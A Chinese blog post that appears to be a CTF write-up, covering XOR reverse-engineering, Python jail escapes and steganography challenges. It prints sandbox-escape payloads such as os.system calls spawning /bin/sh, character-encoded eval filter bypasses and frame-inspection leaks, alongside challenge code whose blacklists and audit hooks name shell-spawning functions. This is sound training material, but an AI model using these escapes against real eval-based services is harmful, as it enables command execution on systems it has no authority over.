      for ( i = 0; i <= 21; ++i )
      {
        if ( arr[i] != (Str[i] ^ 0x34) + 900 )//输入值和数组arry里面的值进行和异或操作如果相等及通过
        {
          printf("flag error!");
          exit(0);
        }
      }
      printf("you are right!");
      return 0;
    

    通过观察得出只需要对数组里面的值进行逆推操作得到正确的数据即可得到正确的答案

    poc

    key = [0x3FE,0x3EB,0x3EB,0x3E4,0x3F6,0x3D3,0x3D0,0x388,0x3CA,0x3EF,0x389,0x3CB,0x3EF,0x3CB,0x388,0x3EF,0x3D5,0x3D9,0x3CB,0x3D1,0x3CD]
    for i in range(len(key)):
        data = key[i]-900^52
        print(chr(data),end='')
    

    你知道什么是Py嘛?

    输入字符第一位和第零位进行异或操作对array 每一位进行判断操作

    
    s = str(input("please input your flag:"))
    arr=[29, 0, 16, 23, 18, 61, 43, 41, 13, 28, 88, 94, 49, 110, 66, 44, 43, 28, 91, 108, 61, 7, 22, 7, 43, 51, 44, 46, 9, 18, 20, 6, 2, 24]
    if(len(s)!=35  or s[0]!='N'):
        print("error")
        exit(0)
    for i in range(1,len(s)):
        if(ord(s[i-1])^ord(s[i])!=arr[i-1]):
            print("error!")
            exit(0)
    print("right!")
    

    payload

    思考了很久,提醒下做出来了

    strs = ord("N")
    flag = "N"
    arr=[29, 0, 16, 23, 18, 61, 43, 41, 13, 28, 88, 94, 49, 110, 66, 44, 43, 28, 91, 108, 61, 7, 22, 7, 43, 51, 44, 46, 9, 18, 20, 6, 2, 24]
    for i in range(0,34):#flag长度
        for j in range(45,126):#大小写assci
            if strs^j==arr[i]:
                flag+=chr(j)
                strs=j#赋变量形式确保每一个值都能和前一个进行异或操作
                break
    print(flag)
    

    MISC

    calc_jail_beginner(JAIL)

    __import__('os').system('cat flag')
    

    calc_jail_beginner_level1

    过滤了双引号、单引号、 以及斜杠

    思路:把可见字符变成char

    #the function of filter will banned some string ',",i,b
    #it seems banned some payload 
    #Can u escape it?Good luck!
    
    def filter(s):
        not_allowed = set('"\'`ib')
        return any(c in not_allowed for c in s)
    
    WELCOME = '''
      _                _                           _       _ _   _                _ __ 
     | |              (_)                         (_)     (_) | | |              | /_ |
     | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
     | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
     | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
     |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
                  __/ |                          _/ |                                  
                 |___/                          |__/                                                                                      
    '''
    
    print(WELCOME)
    
    print("Welcome to the python jail")
    print("Let's have an beginner jail of calc")
    print("Enter your expression and I will evaluate it for you.")
    input_data = input("> ")
    if filter(input_data):
        print("Oh hacker!")
        exit(0)
    print('Answer: {}'.format(eval(input_data)))
    
    

    payload

    payload= "__import__('os').system('cat flag')"
    exp = ""
    for i in payload:
        exp +=f"chr({ord(i)})+"
    print(f"eval({exp[:-1]}")
    

    calc_jail_beginner_level2

    调试模式一把梭哈哈哈

    ****breakpoint**"

    calc_jail_beginner_level3

    payload:

    help()

    +

    !/bin/cat

    空格 flag

    calc_jail_beginner_level5.1(JAIL)

    UP&DOWN_Aussie

    倒过来的base58有点难看

    花时间可以弄出来

    2Rz4o1iHzajwMbPv5Lng4aKWkYa11KDfT7h9rEuWEtsZByKTv431L33ThtkE3EHepg5x8pEEG

    piz.galf

    倒过来的zip和一个bmp

    payload

    strs = ""
    v = ""
    res = strs.replace(' ','')
    for i in range(0,len(res),2):
        v +=res[len(res)-i-2:len(res)-i]
    with open('1.txt','w')as f:
        f.write(v)
    

    python2 input(JAIL)

    这是一个漏洞python2独有

    input函数会接收用户的输入,如果用户输入系统函数即可造成命令执行

    pyload

    __import__('os').system('/bin/sh')
    

    calc_jail_beginner_level2.5(JAIL)

    调试模式一把梭

    #the length is be limited less than 13
    #it seems banned some payload 
    #banned some unintend sol
    #Can u escape it?Good luck!
    
    def filter(s):
        BLACKLIST = ["exec","input","eval"]
        for i in BLACKLIST:
            if i in s:
                print(f'{i!r} has been banned for security reasons')
                exit(0)
    
    WELCOME = '''
      _                _                           _       _ _ _                _ ___    _____ 
     | |              (_)                         (_)     (_) | |              | |__ \  | ____|
     | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
     | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
     | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
     |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
                  __/ |                          _/ |                                          
                 |___/                          |__/                                                                                                            
    '''
    
    print(WELCOME)
    
    print("Welcome to the python jail")
    print("Let's have an beginner jail of calc")
    print("Enter your expression and I will evaluate it for you.")
    input_data = input("> ")
    filter(input_data)
    if len(input_data)>13:
        print("Oh hacker!")
        exit(0)
    print('Answer: {}'.format(eval(input_data)))
    
    

    *breakpoint

    __import__('os').system('cat flag')
    

    lake lake lake

    #it seems have a backdoor
    #can u find the key of it and use the backdoor
    
    fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
    
    def func():
        code = input(">")
        if(len(code)>9):
            return print("you're hacker!")
        try:
            print(eval(code))
        except:
            pass
    
    def backdoor():
        print("Please enter the admin key")
        key = input(">")
        if(key == fake_key_var_in_the_local_but_real_in_the_remote):
            code = input(">")
            try:
                print(eval(code))
            except:
                pass
        else:
            print("Nooo!!!!")
    
    WELCOME = '''
      _       _          _       _          _       _        
     | |     | |        | |     | |        | |     | |       
     | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
     | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
     | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
     |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
    '''
    
    print(WELCOME)
    
    print("Now the program has two functions")
    print("can you use dockerdoor")
    print("1.func")
    print("2.backdoor")
    input_data = input("> ")
    if(input_data == "1"):
        func()
        exit(0)
    elif(input_data == "2"):
        backdoor()
        exit(0)
    else:
        print("not found the choice")
        exit(0)
    
    

    在Python中使用globals()可查看全局变量,运行即可看到需要输入的key

    key:a34af94e88aed5c34fb5ccfe08cd14ab

    使用backdor 即可调用shell

    __import__('os').system("/bin/sh")
    

    flag=NSSCTF{be1be806-b3cc-4e5f-9656-8ff477085cba}

    l@ke l@ke l@ke(JAIL)

    #it seems have a backdoor as `lake lake lake`
    #but it seems be limited!
    #can u find the key of it and use the backdoor
    
    fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
    
    def func():
        code = input(">")
        if(len(code)>6):
            return print("you're hacker!")
        try:
            print(eval(code))
        except:
            pass
    
    def backdoor():
        print("Please enter the admin key")
        key = input(">")
        if(key == fake_key_var_in_the_local_but_real_in_the_remote):
            code = input(">")
            try:
                print(eval(code))
            except:
                pass
        else:
            print("Nooo!!!!")
    
    WELCOME = '''
      _         _          _         _          _         _        
     | |  ____ | |        | |  ____ | |        | |  ____ | |       
     | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
     | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
     | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
     |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
         \____/               \____/               \____/                                                                                                                                                                                                                                        
    '''
    
    print(WELCOME)
    
    print("Now the program has two functions")
    print("can you use dockerdoor")
    print("1.func")
    print("2.backdoor")
    input_data = input("> ")
    if(input_data == "1"):
        func()
        exit(0)
    elif(input_data == "2"):
        backdoor()
        exit(0)
    else:
        print("not found the choice")
        exit(0)
    
    

    调用help命令 然后查看文件名字即可再次运行文件,猜测对这个进行了更改才会这样子

    重新运行该文件后,再次调用help()命令重复同样的步骤可看到key

    calc_jail_beginner_level5(JAIL)

    可以直接调用import 不知道是不是自己方法没有做对,阴差阳错做出来了。

    calc_jail_beginner_level5.1(JAIL)

    上一个题目的升级版本许多函数被过滤掉import 无法调用系统执行命令的函数换一个思路解决

    根据提示使用dir可以看到一个类逐个读取里面方法可得到进一步提升,使用join可看到

    image-20221024214607881

    image-20221024214719740

    4 byte command

    根据题意只能输入四个字符

    尝试了很多发现过滤很多只能四个字符多空格都不行。懊恼一直未成功试了一下bash成功获得shell

    calc_jail_beginner_level4(JAIL)

    payload

    open(bytes([46, 47, 102, 108, 97, 103]).decode()).read()*

    [WEEK2]laKe laKe laKe(JAIL)

    题目代码

    #You finsih these two challenge of leak
    #So cool
    #Now it's time for laKe!!!!
    
    import random
    from io import StringIO
    import sys
    sys.addaudithook
    
    BLACKED_LIST = ['compile', 'eval', 'exec', 'open']
    
    eval_func = eval
    open_func = open
    
    for m in BLACKED_LIST:
        del __builtins__.__dict__[m]
    
    
    def my_audit_hook(event, _):
        BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
        if event in BALCKED_EVENTS:
            raise RuntimeError('Operation banned: {}'.format(event))
    
    def guesser():
        game_score = 0
        sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
        sys.stdout.flush()
        right_guesser_question_answer = random.randint(1, 9999999999999)
        sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
    
        try:
            input_data = eval_func(input(''),{},{})
        except Exception:
            sys.stdout = challenge_original_stdout
            print("Seems not right! please guess it!")
            return game_score
        sys.stdout = challenge_original_stdout
    
        if input_data == right_guesser_question_answer:
            game_score += 1
        
        return game_score
    
    WELCOME='''
      _       _  __      _       _  __      _       _  __    
     | |     | |/ /     | |     | |/ /     | |     | |/ /    
     | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
     | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _ \
     | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
     |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
                                                             
    '''
    
    def main():
        print(WELCOME)
        print('Welcome to my guesser game!')
        game_score = guesser()
        if game_score == 1:
            print('you are really super guesser!!!!')
            print(open_func('flag').read())
        else:
            print('Guess game end!!!')
    
    if __name__ == '__main__':
        sys.addaudithook(my_audit_hook)
        main()
    

    禁掉了许多的函数但是SYS库中存在下面这些东西

    sys._getframe(0).f_code.co_varnames
    sys._getframe(0).f_locals
    sys._getframe(1).f_locals
    

    拼凑出payload则为这样子

    __import__('sys')._getframe(1).f_locals.values()[1]
    或者为这样子 上一种有可能读不出东西
    list(__import__('sys')._getframe(1).f_locals.values())[1]
    

    PDF && PNG

    下载出来一个pdf 仔细查看发现一条一点东西

    binwalk -e flag.pdf 进行分离得到一堆十六进制东西

    使用PTL模块转换回来

    from PIL import Image
    x= 562
    y = 100
    im = Image.new('RGB',(x,y))
    f = open("NSSCTF\\1.txt").read()
    s = f.split(' ')
    count = 0
    length = 1
    a = ()
    for i in range(y):
        for j in range(x):
            tmp = (int(s[count],16),int(s[count+1],16),int(s[count+2],16))
            im.putpixel((j,i),tmp)
            if(a==tmp):
                length+=1
            else:
                if(length>1):
                    print(chr(length),end='')
                length=1
            a = (int(s[count],16),int(s[count+1],16),int(s[count+2],16))
            count+=3
            if(count==6369):
                exit()
    

    可以得到key值当这并不是最终答案观看大佬文章得到这是密钥得使用

    wbs43open 解密

    key:d1d_u_f1nd_Th1s_KEy_F1l3

    回到win7虚拟机 使用软件解密pdf即可得到flag

    flag=NSSCTF{u_can_use_wbstego_and_find_flag}

    Bronya

    下载得到一个压缩包其中压缩包进行了加密使用暴力破解得到密码为

    20160818

    打开得到两张一模一样的图片。使用各种方法尝试均未成功卡了两天。后面和他们讨论得知为两张图片水印隐写

    网络上存在脚本可解密得出

    github:chishaxie/BlindWaterMark: 盲水印 by python (github.com)

    运行脚本可得到一张特别模糊的图片仔细查看可发现flag

    python.exe .\bwmforpy3.py decode .\bronya.png .\flag.png demo.png

    image-20221024132022322

    flag=nssctf{Tb3_P10t_S0_sweet}

    ez_lsp

    steglove一把梭,lsb隐写扫描出来一个二维码base32解密得到flag


    __EOF__

  • 本文作者: TT
  • 本文链接: https://www.cnblogs.com/TTaly/p/16934584.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    C语言力扣第48题之旋转图像。辅助数组
    06-`Linux`的用户和用户组管理
    景联文科技:驾驭数据浪潮,赋能AI产业——全球领先的数据标注解决方案供应商
    【图灵MySQL】MySQL索引优化实战(上)
    springcloud 知识总结
    【笔试实战】LeetCode题单刷题-编程基础 0 到 1【一】
    使用 webpack-cli 零配置打包,真香
    知识分享 钡铼网关功能介绍:使用SSLTLS 加密,保证MQTT通信安全
    【Linux】第十章 进程间通信(管道+system V共享内存)
    Python 反爬虫与反反爬虫
  • 原文地址:https://www.cnblogs.com/TTaly/p/16934584.html